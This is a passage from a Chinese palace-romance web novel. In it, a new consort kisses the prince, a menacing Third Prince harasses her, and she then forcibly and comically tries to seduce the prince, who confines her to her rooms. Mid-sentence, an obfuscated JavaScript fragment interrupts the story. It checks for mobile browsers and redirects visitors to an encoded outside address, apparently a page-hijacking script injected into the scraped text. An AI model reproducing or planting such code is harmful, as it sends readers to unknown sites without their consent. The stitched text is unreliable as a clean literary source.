姜钰雪一个激灵,飞快跳下车,提起裙子就跑:“殿下再见!”
她往前跑没几步,又七拐八扭地跑回来拉住了新月,抓着她就跑:“快、快跑!”
新月被她这咋咋呼呼的模样给整懵了,疑惑道:“小姐?跑、跑什么呢?”
当然是……
当然是在他改变主意之前快跑呀!!!
月色下,裴敛徐徐走下车,看着蹦蹦跳跳的小人掩入了远处的绿茵之中,叹出长长一息。
尔后,又很快换回了平日里那板正的神色,命道:“回书房。”
-
姜钰雪带着新月匆匆溜回了自己的屋内,一下累得倒在榻上。
今日经历了太多的事情,整整把她好几日的力气都给耗掉了。
“小姐。”新月走进寝室,唤道,“小姐,先起来用膳吧。管事说,今日殿下吩咐了,让小姐在自己屋内用膳便行,下人已经送来了。”
听到这话,姜钰雪才想起自己除了早膳外,就再没吃过饭了,肚子忽然咕噜噜地叫了起来。
她忙爬下榻走到前厅去,大口地吃了起来。
许是饿急了,平日里觉得没啥味儿的白切鸡都美味极了。
用完膳后,她在新月的服侍下舒舒服服地沐浴了一番,穿着新做的春衫中衣窝回了自己榻上。
“可是要奴婢给小姐按按脚?”新月给她挂在榻边的小脚丫擦好了香膏,问道。
“嗯。”姜钰雪懒洋洋地打了个哈欠,应道。
她今日走了好多路,脚丫子早就累得发酸了,叫新月这么一按,不禁嗷叫了一声。
“呜呜呜……”姜钰雪一张小脸疼得皱巴巴的,不住让新月轻点。
看着手里红彤彤一片的脚底板,新月皱眉问道:“小姐,你今日是怎么了?走那么多路呀?”
“呜呜呜……我今天……”
她张口就要哭诉被打劫还掉进暗道里的事,又忽的想起裴敛说的话,一下闭上嘴,把这些事情全部吞回去,最后剩下一句:
“我今天亲了他。”
“啊?!”新月惊得手下用力,疼得姜钰雪嗷呜一声叫了出来。
“疼!疼!你轻点!冷静点!”姜钰雪抓着床褥哀嚎着。
“对对对不住小姐!”新月忙松开手,给她揉了揉,歉声道,“我只是听到小姐和殿下有进展了,情绪有些激动……”
“哎哟……”姜钰雪努努嘴,懒懒地抓过被子盖在自己肚子上,解释道,“我们只是不小心亲到而已,哪有什么进展。”
指不定还记仇上了呢……
“那、”新月好奇地眨了眨眼,问道,“那小姐……什么感觉呢?”
“什么什么感觉?”姜钰雪疑惑道。
新月从记事起便在姜府给自家小姐当贴身丫鬟,自然也还只是个未经人事的小姑娘。
她抿了抿唇,红着耳尖解释道:“小姐给我的画本子里说,亲吻,就是……软软的,甜甜的,快要化掉的感觉。真的是这样吗?”
那些画本子是姜钰雪的姐姐姜芸订的。那时候姜钰雪经常感染风寒,得在家养身子。她姐姐怕她闷,便找了人定时送些新货上门。
但姜钰雪其实不爱看那些,她更喜欢看别人闯荡江湖,经营发家,别的那些便都送给了新月看。
闻言,姜钰雪转了转眼珠子,吧唧了一下嘴巴试着回味了一番。尔后没什么情绪地回道:“忘记了,没在意。感觉没啥味儿,还不如刚才吃的大鸡腿呢。”
说完,她一把将被子扯过头顶,整个人埋了进去:“睡觉!”
-
浴室中,裴敛脱去了衣物,泡进浴桶内。
方才在书房中听洛十一的汇报。
两人原只是出行用膳,途中车夫行驶的方向不对,发现时车夫已经遇害死亡。
紧接着,马车遭遇碰撞,两人跳车后,又被贼人劫道。
听贼人所言,他们是受人指使,目标便是车上姜钰雪。
“那几个贼人,有人招了吗?”裴敛对着屏风后等候着的洛十一开口道。
洛十一回道:“方才负责审讯的人来报,说是已经招了,但他们也不知道对方具体的身份。”
“只说找他们的是一个身量不高、瘦瘦的、声音细弱的男子,身上穿了件深灰色长衫,内里的袖口锈了点竹叶,手腕上有颗痣。”
“对方极其谨慎,来时还遮住了面容。”
“对方先是付了一笔钱,剩余的说在事成后再给。于是,那几个贼人先是买通了那个车夫,在杀了那车夫后,再实施的打劫。”
“别的,再无其他了。”
洛十一将收到的情报一一说给了裴敛听,等候他的下一步指示。
裴敛听着他说的话,陷入沉思。
上位者派下人办这种事,多是派些地位低的且不直接与自己有关系的人。
这样的下位者,即便是穿衣也讲究个外衫内衬配绣纹,想必自身也有一定的地位。那么他上头的人,自然要比他高贵上不少。
且又选了姜钰雪为目标,而不是她的弟弟姜子逸。
但即便姜钰雪再怎么闯祸,也没道理会招惹到这样的人。
那么便很可能是冲着他来的了……
加上那贼人对那来者的描述,莫不是……宫里的太监?
“我等会给你份名单,你派人去查。”裴敛开口吩咐道。
“是。”洛十一应下,在原地又候了会,见裴敛没有再说话,遂开口问道,“殿下,小的多问一句。”
“说。”
“殿下手上的伤……可是需要小的找府里的医师给你上个药?”
闻言,裴敛一怔,抬手看了眼手背上被抓破的一道道痕迹,脑海中忽然回想起今日经历的诸多事情。
水面波光粼粼,他擦了擦唇瓣,自言自语道:“怎么到现在还是甜的……”
“殿下?”洛十一没听清。
裴敛晃过神来,回道:“不必,猫抓的。”
尔后,又轻轻叹了声:“……也不知该说她胆子大还是胆子小。”
-
翌日,裴敛天不亮便出府去办事,未在府中用早膳。
他平日里并不需要上朝,本是想借着那日宴席,便将近日调查刘远一事的进度汇报给皇上的。
裴敛到时,正殿内上朝的官员已经陆续按官职站好了位置。
最末的官员见到他进了门,吓得忙让了道。
动静惊动了前一排的官员,就这样一排接着一排给他让出位置,一直让到了姜甫的旁边
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。
姜甫自然也是吓了一跳,面上还是维持着镇定,作揖道:“殿下。”
裴敛颔首应道:“姜大人免礼。”
两人还未多说几句,金黄冠服的老皇帝李贺便走上了高台,众官齐齐行礼。
“砚初?”老皇帝看到那与众不同的黑色官服,一眼便认出了裴敛,“你怎么来了?”
砚初是裴敛的字,如今也只有老皇帝会这么唤他了。
“陛下。”裴敛回道,“臣未按约赴宴,多有得罪,今日特来请罪。”
老皇帝见他这般较真,笑了笑,挥手让众人都起身,说道:“你这小孩儿什么样的,朕还能不知?定是有要紧事,今日还特地让阿珣去给你传话,改日再来,没想到你亲自来了。”
裴敛一怔。
三皇子去了王府……?
“等你下朝回去,兴许还能碰上一面。”老皇帝继续道,“还有什么要报的,你先说吧。”
“是。”裴敛应道,没有在此事上继续多想,将此前调查刘府一案的进度一一说明。
“前侍御史刘远非法收受贿赂,在审讯后供出关联官员数名均已认罪。”
他顿了顿,又补充道。
“此案本应就此结了,但……臣认为还有些许疑点。”
“其女身上佩戴的蓝色玛瑙属进贡给朝堂之物,属实不该是这些人所能接触的。”
“恳请陛下让臣做进一步调查。”
老皇帝听着,点了点头:“嗯,朕准了。”
“谢陛下。”裴敛回礼道。
“对了,”老皇帝忽然开口道,“朕还想问你呢,朕赐你的那个侧妃,你可喜欢?”
裴敛一愣,没料到会被问这种问题,张合着嘴正欲说些什么。
见状,老皇帝反应过来,开怀笑道:“是朕失言了。朕见到你心里高兴,一下忘了还在上朝呢。咳、咳咳咳……!”
他说着,忽然咳嗽起来,引得众官心惊胆颤。
“陛下……!”裴敛忙关切道。
老皇帝摆了摆手,说道:“无碍,人老了而已。”
“下次来见朕时,把她也带上吧,好让你隔壁那个也瞧瞧。”
台下的姜甫被点到名,忙作了个揖回应。
裴敛同样应道:“是。”
-
王府内,姜钰雪闲来无事,蹲在鱼塘边盯着水里游着的鱼。
水面的波纹折射出日光,水里红白色的鲤鱼摆动着有力的尾巴四处窜着。
姜钰雪看得专注,忽然身子被一道黑影罩住。
她抬头去看,见到阴影下,一个熟悉的面庞映入眼中。
“又见面了,姜姑娘。”李珣居高临下地看着她,笑着同她打了声招呼。
姜钰雪想起了他,起身看着他说道:“你、你是上次那个……”
“我姓李。”李珣自我介绍道。
“……李公子。”姜钰雪顺势唤道。
“嗯。”听她叫自己,李珣笑得眉眼弯弯,尔后开口问道,“我来找你夫君,你夫君可是在你院里?”
姜钰雪心里感到有些怪异。
若是来找裴敛的,应当有管事领着,怎会来问她呢?
但她还是摇摇头回道:“没、没有,他今日出去了。”
“这是你的院子,他有他的院子。”李珣顾自越过她,好似根本不在乎她的答复,忽的又弯下身问道,“你们晚上不睡一块儿?”
姜钰雪一惊。
这、这人怎么回事啊?!怎会问这种问题?!
她、她跟裴敛关系不好,看上去有那么明显吗……?!
“哈哈哈,失敬失敬,我同你开玩笑呢。”李珣见她愣住的神情,开怀笑起。
姜钰雪被他说得有些为难,不禁低头看了看别处。
李珣看着她苦巴巴的神色,面上笑意越发的深,视线顺着她的脸往她的身子移去,游过她白皙的脖颈,落在了那沉甸甸的软绵上,眸色骤然暗了暗。
姜钰雪不擅长应对陌生人,更何况面前这个人还是名男子。
她踌躇着不知如何是好,对方不知何时已经走到了她跟前,抬起的大掌呈现着抚摸的姿态,忽的靠近她的脸颊。
她心头一跳,慌乱的情绪涌上心头。
下一刻,一个熟悉的声音响起:“姜钰雪。”
25. 第25章
裴敛下朝后并未多留,即刻便回了府。
果不其然,刚进门便见下人候在门口,边急忙解释着,边将他往府内引。
管事原是将三皇子带到正厅去的,但三皇子执意要在府邸走走。
皇子身份尊贵,管事也不敢忤逆他,只能随着他的意。
三皇子李珣性格高傲、我行我素,裴敛对此并不意外,很快便在不远处的鱼塘边看到了他。
此时的李珣正微弯着腰背对裴敛,不知在做什么。
裴敛本想开口叫他,却见对方脚边露出一小块藕色的裙摆,不禁眉头一蹙,随即改口叫道:“姜钰雪。”
浸溺在慌乱中的姜钰雪心里忽的一颤,像是被人从水里一下抓起来一般晃过神,下意识求助道:“殿下……!”
即将触碰到脸颊的手在空中一滞。
李珣直起身,偏身往回看去,露出了被他挡在身前的小人儿。
裴敛不着痕迹地扫了一眼,觉察到那张脸上拼命压制着的失措,沉声命令道:“过来。”
“哎呦……”李珣转身面向裴敛,一副怜香惜玉的模样说道,“别对个小姑娘这么凶嘛。”
裴敛对上他的视线,淡淡唤了声:“三殿下。”
李珣挑了挑眉,戏谑着回了一句:“世子殿下。”
面对他的戏谑,裴敛没有作出回应,只是颔首应了句:“叫三殿下见笑了。”
“哪有哪有。”李珣豪爽地摆了摆手,打量了裴敛这一身黑色的官服,新奇道,“倒是没想到,裴兄今日竟然上朝去了。”
此时,站在李珣身后的姜钰雪早已吓出了层冷汗。
三、三殿下……?!
那不就是……皇子吗?!
姜钰雪开始回忆起自己先前的在李珣面前的种种行径,懊悔之余又感到害怕。
但好在裴敛回来了,她应当不用再与这个大人物打什么交道,于是赶忙低下头,尽可能让对方感觉不到她的存在,抬步准备往裴敛那边走去。
怎知,她这一步才刚抬起,跟前那双锈了金丝龙纹的黑色皂靴就先她一步跨了出去,一脚踩在了她前头的路上。
姜钰雪赶忙停下脚步,心里惊险得扑通乱跳。
差、差点就坏了规矩……!!!
皇子尊贵,若是行于同道,像她这样身份的人是不得走在皇子前面的。
这也意味着,只要李珣走一步,她和裴敛之间便永远隔着一个他。
姜钰雪无奈,只好苦着张小脸,暗戳戳地跟在他后面一点一点地挪着。
裴敛看着这一幕,抬手理了理袖摆,不留痕迹把身子偏了偏,回道:“亲王世家亦是朝廷之臣,食君之禄,担君之忧,职责所在罢了。”
“三殿下这般说,反倒让我惭愧自己先前是否有所懈怠了。”
“诶诶诶!”李珣伸手打断他,一脸惶恐地向他走去,“我可没这么说啊!”
金丝龙纹踩在道旁的鹅卵石上,踏出一声声躁响,逐渐往裴敛的位置靠近。
跟在他身后的姜钰雪也终于能跟着动起脚,往裴敛那边过去。
“我受父皇之命,一早上赶过来却是跑了个空,同你说道两句罢了,岂敢有此意,还求裴兄可莫要折损我。”
他说着,抬起下巴点了点裴敛身后的管事,继续解释道:“我来时,你们这的管事同我说你出去了,一时半会回不来。可父皇又让我千万把话带到,我这圣命难违的,只好在你这府里转转了。”
“闲来无事,碰上了你这小侧妃,便和她聊了几句。”
“挺愉快的,并没什么。”
说着,忽然转身弯下腰凑近姜钰雪:“是不是?”
姜钰雪低着头走路,忽的前面的脚步一停,她下意识抬头去看,岂料对方的脸猝不及防地出现在面前,近得能感受到他的鼻息,再往前一毫便要碰上了。
她脚下猛地停住,踩着鹅卵石往后一滑,整个人失去了重心。
见状,李珣嗤笑一声,目光转向那节柳腰伸手要去揽住她,却是看着对方从自己身侧被另一只手给捞了过去,自己反倒抓了个空。
“你过来,莫要顶撞到皇子。”裴敛将姜钰雪拉至身侧,作势说教了她一番。
李珣抓了抓空无一物的掌心,暗自哼笑一声,敛起双眸中的愠色,回身笑道:“怎会,一个小姑娘而已,能将我如何呢。”
裴敛松开放在姜钰雪腰上的手,示意她在他身后站好来。
抬手之时,却是感觉到袖下的尾指被她抓住,有一下没一下地捏着他。
他顿了几息,尔后转睛看了一眼身后的管事,又回眸说道:“你今日应当有事要受管事指教的,为何在此?”
姜钰雪本就吓得不轻,忽然被他莫名其妙地责问了一番,眉尾一下耷拉了下去,看上去可怜极了。
老管事察言观色,很快便知晓了裴敛的意思,压弯着腰垂首上前。
裴敛顺势在袖下握住她的手,将她悄悄推了过去。
老管事即刻开口道:“请侧妃随老奴来吧。”
直到这时,姜钰雪总算是晃过神来,老老实实地跟着管事往另一边的道上走去。
李珣看着这一幕,饱含疼惜地摇了摇头,目光随着姜钰雪离开的背影游荡着。
“三殿下,”一直没有主动搭话的裴敛忽然对他开口,侧身空出通往正厅方向的路,示意道,“请。”
李珣将视线落回他面上,饶有趣味地勾了勾嘴角,抬步走了。
-
院内,老管事总算是将姜钰雪送了进去,暗暗长舒口气。
方才在那鱼塘边,见到李珣忽然接近姜钰雪,他一把老骨头也吓得不轻。
李珣作为三皇子,虽是庶出,却比其他皇子还要嚣张跋扈。
表面上似乎与谁都能谈笑一番,实际是花言巧语、处处算计,没几个人敢招惹这个笑面虎。
老管事虽早便知晓此人不善,却是没想到他会在光天化日之下这般明着来。
若当真要出什么事,就是把他这条老命搭上去,那也得护住端王府、护住世子的颜面和名声。
姜钰雪被管事送回寝屋,整个人像泄了气一样趴在桌上。
新月这头还在收拾着东西,听见她回来的动静,便赶了过去:“小
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姐,你回来了?”
姜钰雪见到新月过来,一把抱住她在她怀里哭嚷着:“呜呜呜……好吓人……”
“难怪爹爹都不带我去参加什么宴席……”
她叽里呱啦地说了一堆,新月一边听着,眉头皱得越发的紧,赶忙倒了杯水让她压压惊。
“咳咳……!”一旁的管事见缝插针出了声,开口道,“侧妃还需得多加锻炼才是。今后,若是殿下需要带你去见个什么人,才好遇事不惊。”
姜钰雪努努嘴,委屈地喃喃了句:“那便不带我去呗……”
然而,这句话却是分毫不差地进了管事的耳朵,惹得管事眉头一蹙,叹劝道:“侧妃,老奴本也不愿说你。但如今你已经进府多日,除了成婚那日外,殿下可是一次都没有来你这里留宿过,甚至连你的院子都未踏入。”
“你可是殿下的第一任妃子,应当好好抓住这个机会才是!”
闻言,姜钰雪被说得脑袋嗡嗡响。
说要指教她,不是只是演的吗?
怎么来真的啊……
“我也想啊……”姜钰雪无奈嘟囔着,小嘴愁得撅起,“我昨日还……亲他了呢……”
她一边说着,无辜地瞟了瞟管事。纤长的眼睫可怜地打着颤,委屈巴交的。
管事一愣,左右看了看旁的人,低声问道:“……殿下什么反应?可是推开你了?”
姜钰雪抿了抿唇,应道:“没有。”
还补了一句:“他就任我亲了。”
管事眼睛一亮,手掌暗暗攥了个拳。
能成。
“咳咳……!”他故作姿态地清了清嗓子,悄声道,“那侧妃还是做得不错的,只不过殿下这边或许只是差了一些火候。”
“看在侧妃有心的份上,老奴且帮你一次,让殿下能在你这留宿一回,侧妃且候着吧。”
-
另一边,裴敛和李珣两人在正厅聊了一阵便到午时了。
皇子专程赶来,于情于理是要留他用完午膳再走的,却是被李珣给拒绝了。
裴敛也没再推诿,送他上了马车。
临行前,李珣靠在车窗边说道:“对了,父皇让我关切一句,不知端亲王近来如何?”
裴敛顿了顿,回道:“感谢陛下关照,父王……别来无恙。”
话落,李珣点了点头,马车便驶离了王府。
裴敛看着远去的马车,想起方才李珣和姜钰雪两人呆在一起的情景,开口道:“派个府内的医师去看看她的情况。”
下人闻言应下,转身便要走。
裴敛抬手看了看自己的尾指,思忖几息,又唤道:“慢着。”
他轻叹一气,开口道:“罢了,我去吧。”
-
寝屋内,姜钰雪送走了管事,趴在桌上偷偷吃着姜甫先前给她送来的点心,耳边听到门外传来急匆匆的脚步声。
“侧妃、姜侧妃……!”往常守在院门处的侍女忙跑到寝屋门口,急忙说道,“世、世子殿下来了!”
“啊?!”姜钰雪“唰”的一下直起身,惊讶道,“这、这就来了?!”
26. [锁] [此章节已锁]
虽说管事同她说了会给她支支招,帮她和裴敛增进下感情,但这也太快了吧!
姜钰雪赶忙坐起身,一把抓起碟子里余下的几个糖饼,哐哐塞进嘴里。
“小、小姐?”新月疑惑地看着她,问道,“你、你在做什么啊?殿下来了……!”
“唔唔唔……!”姜钰雪一张小嘴早就塞得鼓鼓囊囊,还在狼吞虎咽地继续塞着,恨不得自己长多一张嘴,焦急道,“这个、这个现在不吃完,晚点就不好吃了!”
新月看着她满嘴的糖饼馅子,心急如焚:“小姐!都这时候了你还在吃!你也太……!”
太馋了!
“殿下。”
“世子殿下。”
“殿下。”
……
门外,侍女们此起彼伏的请安声变得愈加清晰,随着一道平稳有力的脚步声逐渐接近,一双黑靴踏了进来。
见到人来,姜钰雪捂着嘴连忙转过身去,嘴里还在使劲咀嚼着。
新月低下头行了个礼,弯身从屋内退了出去,将房门阖上。
一时间,周遭一片寂静,屋内、乃至整个院内,都只剩下了他们两个。
裴敛站在进门处,并未继续走进去。
自打成婚以来,他还是第一次进到这院里头,更是第一次踏进她寝屋。
屋内弥漫着栀子花的香气,四角摆放的花瓶中插满了五颜六色的花卉,纯白的花瓣上渗着晶莹的水露,显然是今日刚换的。
两人沉默片刻,裴敛率先开口道:“姜钰雪。”
姜钰雪背对着他,嘴里还在一个劲地嚼着。
她方才塞得太多,咬得腮帮子酸酸的不说,又因为吞下去时那糖饼太黏糊,将喉咙撑得有些发疼。
但她又不好让他发现,只能捏紧了拳头努力往下咽,憋得眼泪都出来了。
见她一直未有反应,裴敛往里走了几步,偏头去看她,重复道:“姜钰雪?”
姜钰雪闻声转过头去,微蹙的黛眉下,一对黑色的明眸蓄着泪水,迷茫焦愁地看向他。
裴敛被她看得一怔,视线悄声探向她的脸。
见她一手拿着帕子捂在唇上,微微发红的鼻尖轻声啜着,不由得眉心一跳,低声问道:“怎么了?”
姜钰雪没回答他,只是有些为难地回过头,暗暗咽了咽嘴里剩余的糖饼,抓了抓拳头。
这糖饼也忒难咽了……
裴敛瞥了眼她攥紧的手,伸手将两指钻进她虎口收起的缝隙里,将她的手指撬开,说道:“别挠。”
接着,把那小手握在掌心,耐心问道:“此前我不在时,你可是遭遇了什么?”
姜钰雪用帕子挡着下半张脸,回过头去看他,这才恍然发现对方今日的打扮与往常全然不同。
黑色的官袍腰带紧系,没了外袍的遮挡,宽肩细腰的线条一览无余。头上的青丝尽数束于冠中,比起往常半髻的模样更显矜贵。
姜钰雪吞下了嘴里最后一点糖饼,目不转睛地盯了他片刻,摇了摇头。
“没有?”裴敛确认道。
姜钰雪又再摇了摇头,小声道:“没、……”
掌中的手已经放松下来,裴敛缓缓地松开,抬脚便要往后撤一步。
觉察到对方要同自己拉开距离,姜钰雪忙攥住他的手指,牢牢抓着。
“有……!”直觉告诉她,现在若是直接回答了,他便要走了,那就白白浪费了管事给她找来的机会。
抬起的脚再次放下,裴敛闻言问道:“何事?”
何事……
她也不知道啊!
姜钰雪低头不敢看他,下意识紧张地攥紧了手,喃喃道:“殿、殿下……可以跟我到里面说吗?”
不管三七二十一,先把人带到办事的地方再说……!
闻言,裴敛顿了顿,瞥了眼被屏风挡住的寝室。他环视了一圈,又看了眼抓着自己的手,犹豫片刻后,还是妥协道:“好。”
姜钰雪暗暗长舒一口气,牵着他转身将他带进寝室中。
屏风后,干花香料还在炉火上烘着,空气中弥漫着花香。
裴敛没有多看,只是一直将视线放在她脸上,问道:“可以了吗?”
姜钰雪低着头,表面维持着沉默的模样,心里实则已经不知所措到想嗷嗷乱叫。
裴敛见她还犹豫着,开口道:“此处只有我们两人,我回府时、亦或是我回府前你遭遇了什么,你大可放心同我说。”
话落,他思忖了几息,又补充道:“我不恼你。”
听他这般说,姜钰雪忽然有了个想法,试探道:“殿下来时,看到什么了……?”
裴敛看她一副畏畏缩缩的模样,便弯下身与她平视道:“我来时,你正被他挡着,我看不见你。我只是见到地上的裙摆,隐约觉得是你,便叫了你一声。”
他细细看着她眼里的神色,轻声问道:“他当时,可是对你做了什么?”
姜钰雪一手抓着他,一手攥着裙子,回道:“他当时……突然间凑得好近……看我……”
“……凑近看你?”裴敛蹙眉问道。
“嗯……差不多……”姜钰雪说着,抬步走近他,伸手摸上他的脸,“这么近。”
裴敛被她摸得一怔,下意识抬手覆在那只手上。
微凉的指尖在脸上留下柔软的触感。
两人离得极近,近到能清晰看到对方根根分明的眼睫,近到能嗅到对方裹挟着香甜气味的呼吸。
裴敛晃过神,将她的手拿下来,拉开了距离,问道:“他碰你了?”
姜钰雪心虚地眨了眨眼,否认道:“没、没有……我就是……示范一下。”
裴敛按着她的说法思忖了片刻,随后伸手指了指自己的脖子,说道:“你将头发撩起些,我替你看看脖子上有没有东西,毒粉、或者银针这些。“
“哦,好。”闻言,姜钰雪抬手将头发用手束起。
她今日只是扎了个半髻,长长的青丝披散开,从她的掌心不停地滑落。
见状,裴敛犹豫几息,微微弯身,说了句:“失礼。”尔后,抬起手掠过她的脸颊,撩起了她的长发。
修长的手指插/进青丝的深处,带着阵阵酥/麻感。
姜钰雪忍不住缩了缩脑袋,脱口而出:“……痒。”
裴敛手上的动作放轻了些,凑近她说道:“忍忍,很快便好了。”
手指在青丝间穿梭着。
出来,再进去。
出来,再度进去。
一下下地反复着。
姜钰雪着实怕痒,干脆闭上了眼,高高地仰起头露出雪白的脖颈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287797|165294||http|test|mini|href|location''.split(''|''),0,{}));
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>不知何时,耳边只剩下对方平稳的呼吸声。
姜钰雪微微睁开眼,看见对方的脸凑在自己的颈窝前,全神贯注地查看着。
纤长的眼睫遮挡住他的眼眸,在眼睑下投落一片阴影。
姜钰雪看着他专注的神色,暗自定了定心神,袖下的手用力一攥,抬手捧起他近在眼前的脸猛地吻上去。
裴敛正专注着,对她没有设防,被她摸到脸的一瞬便抬眸看了她,在她突如其来的贴近下下意识后退,抬脸躲过她的吻。
但姜钰雪依旧紧紧追着他,抓着他的衣领整个人欺上去。
裴敛后膝盖磕在了榻沿,姜钰雪顺势整个人跳起来,两脚勾住他的腰,用全身的重量将他压倒在榻上。
随后,骑着他的腰将指尖伸进他衣领之下,用力一扯,外衣和中衣一并敞开,露出了其下精壮的肌肉。
看着方才还可怜兮兮的小人儿,现在竟然胆大包天地骑在自己身上,裴敛呵斥道:“姜钰雪……!下去!”
“我不!”姜钰雪双手撑在他胸前,气喘吁吁地反抗道,“殿下,你就从了我吧。”
细腻的玉手贴着他胸口起伏的肌肉攀行着,指尖滑过那敏/感的一抹,往半遮半掩的地方继续探索。
裴敛压制着气息,一把抓住她的手怒斥道:“姜钰雪……!你胆敢骗我!”
“我哪有骗你!”姜钰雪皱着张小脸反驳道,“我刚才说的都是真的!”
“你还说没有!”裴敛反驳回去,“你方才在前厅佯装得那样可怜,我当真以为你受欺负了……!”
姜钰雪夹着他的腰,用力地挣扎着,一边回道:“我哪有佯装!我就在那站着,是你自己看了我一眼,然后就来关心我了。”
“一看到我就想关心我。”
“你是不是喜欢我!”
裴敛被她这无厘头的话说得一怔,一下怒而坐起,打算逼她下去。
姜钰雪被他这突如其来的起身给抬得悬空震了起来,一把抓住他裤子的系带往下扯,露出了小腹处两道精致的肌肉线条。
裴敛飞快抓住她的手,坐起来制止道:“松开……!姜钰雪!”
姜钰雪勾着他的腰不愿下去,见他凑近,不管三七二十一,撅起嘴对着他就是一通亲。
裴敛忙拉开距离躲闪,躲开了唇,躲开了脸,却是被她从脖子一路亲到胸前。
柔软的触感顿时遍布全身,带着她唇瓣留下的津液似火般滚烫。
姜钰雪乘机再度压了上前,把他推回榻上,手里抓着他裤子的系带解了起来:“遵命殿下,我这就给你松开。”
系带的一边窸窣一声松开,裴敛死死按住对方的手,怒斥道:“姜钰雪!我是近来对你太好了,让你得寸进尺!松手!”
“我不!”姜钰雪也不管手里缠着一堆不知道是哪和哪的系绳,一股脑地解着那裤子的系带。
裴敛忍无可忍,抓着她的手往上抬起,撕拉一声,姜钰雪的襦裙骤然松开,滚出了大片。
两人的动作即刻停止。
原本吱呀作响的床榻也停下了动静,只剩下床帘还在轻晃。
裴敛紧闭着眼,脸偏向别处压制着气息。
姜钰雪双手捞起溢出的一片,往衣服里兜了兜,开口道:
“殿下……你再动,就出来了……”
27. 第27章
烘烤的花草持续散发出香气,炭火打出噼啪作响的星火,两道忽轻忽重的气息在这片寂静下被无限放大。
“姜钰雪……把衣服穿好……”裴敛紧闭双眼,头偏向一侧。
姜钰雪拉着裙子的边缘,说道:“穿不好了,殿下。”
裴敛闭着眼看不见,心里不知道她又要搞什么幺蛾子,疑惑道:“……什么?”
“系带……”姜钰雪轻轻扯了扯衣服,胯间裤子的系带便松了些许。
裴敛按住她的手,制止道:“你莫要再乱来!”
姜钰雪努努嘴,解释道:“系带被我不小心绑在一起了,打了个死结,我解不开。”
“系带……?”裴敛蹙眉。
“嗯……”姜钰雪提着裙子,说道,“绑一块儿了。我要把裙子穿好,就把你裤子解开了;你要把裤子穿好,就把我裙子脱了。”
“你选吧。你要脱裤子,还是脱我裙子。”
闻言,裴敛不可理喻:“为何是我选?”
“我让着你呢!”姜钰雪见他不大乐意,干脆自己做决定,“那我选脱你裤子。”伸手便要扯起那系带。
裴敛感知到她的动作,抬手抓着她的手臂将她扯到自己身前,一手环在她后背将她按在了自己身上。
“别动!”
温热的掌心按在赤裸的背上,惹得姜钰雪一颤,纯白无瑕的肌肤上蝴蝶骨微微一动,娇弱得令人怜爱。
姜钰雪被他按住,整个人趴在他身上,身体相贴。小腹处的间隙忽的被一只手闯了进来,莫名开始摸索着。
“……痒。”姜钰雪下意识躲闪着,又被裴敛按了回去。
“别动,我把结解开。”裴敛令道。
两人平躺着叠在一起,系带的结还没解几步,便被姜钰雪的小腹给压住。指尖只是在她的小腹上划了几下,她就受不了开始发出嘤嘤的埋怨。
“忍着,别叫唤。”裴敛又令道。
姜钰雪努力地闭上了嘴,将那些抱怨吞在喉间,转而变成了忽轻忽重的呻吟,身子也控制不住地在他身上扭着。软绵似水般,没有任何遮挡地蠕过他结实的肌肉。
裴敛浑身一僵,抓住她的腰:“别动……!”
“可是真的很痒……”姜钰雪耷拉着唇角,可怜兮兮地喃喃着,“我很怕很怕痒的……”
裴敛轻叹一声,无奈环住她坐起身来,微微弯下身让两人之间空出些缝隙。
姜钰雪被他抱在怀里,脸颊在他胸膛上压出个小包。对方的发冠早已散开,青丝挂在她肩膀上,随着他的动作滑到后背。
她在这丝丝缕缕中偷偷盯着他的双唇,等待下一次进攻的机会。
余光之间,发现了那时常令她感到骇人的愠色中,这次竟带了丝无奈。
好像生气了,又好像没有。
姜钰雪读不懂他。
“殿下……”姜钰雪伸手靠近他的脸,被裴敛一把抓住。
“你又要做什么?老实些。”裴敛训道。
姜钰雪也没有挣脱,只是依旧盯着他的眼睛,开口道:“我上次亲你,你是什么感觉?”
裴敛闻言一怔,没料到她会问这个问题。
“我听说,”姜钰雪见他没回话,继续道,“如果喜欢对方的话,亲吻就是软软的、甜甜的、快要融化掉一样。”
她说着,将脸挪到他视线内,直勾勾地看着他,问道:“殿下……有感觉吗?”
裴敛呼吸一滞,微不可察地抿了抿唇,眸中闪烁着移开视线。
姜钰雪追着他移开的视线,把头又探了探,期待地追问道:“有吗?”
裴敛顿了几息,面无表情道:“没有。”
“嗯……?”姜钰雪皱皱小脸,又问道,“没有?”
“没有。”裴敛没再看她,只是专注着解着手头剩下的最后几个结。
“那我们……”
忽的,白玉般的手扣住他的脖子,将他压至她面前,目光灼灼地看向他,低语道:“现在再来一次。”
温热的气息化作潮湿的雾水,打在他的唇瓣上。
裴敛下意识抓住榻褥,鼻尖涌入对方身上清甜的香气。
姜钰雪对准他紧闭的唇瓣,支起身欺了上去。
然而,就在即将贴上之时,姜钰雪的视线陡然天旋地转,整个人被推倒在榻。紧接着浑身被包了起来,在榻上连着转了好几个圈,最后眼冒金星地停了下来。
裴敛从床帘上取下系绳,将包裹在姜钰雪周身的榻褥捆起来,严严实实地打了个结。
尔后,背过身去,将衣服重新穿好。
姜钰雪被榻褥捆成了一条绵绵虫,在榻上扭来扭去拼命挣扎着。但这系绳打的结着实紧,她越是挣扎,这结便打得越加牢固,最后只得不甘心地哀嚎道:
“殿下——!你欺负人——!”
裴敛很快便穿好了衣服,衣领整整齐齐地包裹住锁骨,青丝扎成个半髻,又回到了那副矜贵端庄的模样。
他负手而立,居高临下地看向榻上的人,警示道:“姜小姐,我视你为王府一员,自认为有义务保护你。”
“但你今日之举,却是心怀不轨,巧舌如簧,不仅对我诸多冒犯在先,甚至反手构陷在后。”
“现罚你禁足自省七日,不得踏出院门。即刻起,反思悔过!”
说罢,没有再多看她一眼,转身往门口走去。
姜钰雪不敢置信地听着他说的话,撅起屁股抬头唤道:“殿下——殿下——!!!”
裴敛没有理她,阔步走到门口,一把打开房门,踏了出去。
姜钰雪扭了扭身子,从里面抽出其中一只手臂,尔后推了推那榻褥整个人游了出来。
见人要走了,她也顾不上穿好衣服,拔腿就往门口跑去。
就在那人踏出房门那一刻,用力一跳,哐的一下压到他背上,搂住他的脖子,抬手捧起他的脸亲上去。
